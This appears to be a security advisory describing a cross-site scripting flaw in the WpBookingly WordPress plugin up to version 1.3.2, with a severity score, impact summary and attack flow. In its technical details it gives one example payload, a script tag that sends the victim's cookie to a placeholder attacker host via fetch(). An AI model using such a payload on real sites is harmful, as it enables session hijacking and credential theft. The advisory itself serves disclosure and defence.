Description

Customer Cross Site Scripting (XSS) in WpBookingly <= 1.3.2 versions.

Executive Summary

Technical Details

Mitigations

References

Additional Metadata

{
  "score": "6.5",
  "pubDate": "2026-08-13T14:17:09.983Z",
  "pubdate": "2026-08-13T14:17:09.983Z",
  "executiveSummary": "A Cross-Site Scripting (XSS) vulnerability has been identified in the WpBookingly plugin, affecting all versions up to and including 1.3.2.\nThis security flaw allows remote attackers to inject malicious client-side scripts, typically written in JavaScript, into web pages rendered to other users.\nThe primary impact of successful exploitation includes session hijacking, credential theft, redirection of users to malicious domains, and unauthorized actions performed within the context of the victim's authenticated session.\nThe vulnerability resides in the input handling mechanisms of the affected product, which fails to adequately sanitize or encode user-supplied data before reflecting or storing it in the Document Object Model (DOM).\nExploitation generally requires an attacker to trick a user into interacting with a crafted URL or maliciously manipulated input parameter, depending on whether the XSS vector is reflected or stored.\nRisk implications are significant for WordPress deployments utilizing the vulnerable WpBookingly version, as compromised administrative sessions could lead to full site takeover.\nMitigation requires updating the software to a patched version once available, or implementing strict input sanitization and output encoding controls.",
  "technicalDetails": "The vulnerability identified as Cross-Site Scripting (XSS) in WpBookingly <= 1.3.2 stems from insufficient input validation and improper output encoding of parameters processed by the application.\nSpecifically, the vulnerable component fails to sanitize user-supplied input adequately before rendering it back to the browser or storing it within the underlying database for later retrieval.\nThe root cause is rooted in the lack of context-aware output encoding. When untrusted input containing HTML markup or JavaScript payloads is processed by the application, the browser interprets the input as executable code rather than plain text.\nAttack vectors typically involve submitting malicious payloads through vulnerable input parameters handled by the plugin's backend or frontend forms. If the payload is reflected immediately in the HTTP response, it constitutes a Reflected XSS attack. If the payload is persisted in the database and rendered to subsequent viewers, it manifests as a Stored XSS attack.\nThe attack flow proceeds as follows: 1) The attacker crafts a malicious payload containing JavaScript, such as <script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>. 2) The attacker induces a victim to interact with the vulnerable WpBookingly endpoint containing the payload, either via a direct link or through input submission. 3) The WpBookingly component processes the request and incorporates the unsanitized input into the HTTP response. 4) The victim's browser parses the HTML response, executes the injected JavaScript within the security context of the origin site, and exposes sensitive session tokens or performs unauthorized state-changing operations on behalf of the user.\nThe affected product is WpBookingly versions 1.3.2 and prior. Authentication and privilege requirements depend heavily on the specific entry point of the vulnerable parameter; unauthenticated endpoints permit pre-authentication attacks, whereas authenticated endpoints require low-privileged user interaction.\nNetwork exposure is broad, as the application is accessible via standard HTTP/HTTPS protocols over the web. Post-exploitation impact includes complete compromise of the victim's browser session, potential privilege escalation if an administrator is targeted, and unauthorized modification of website content."
}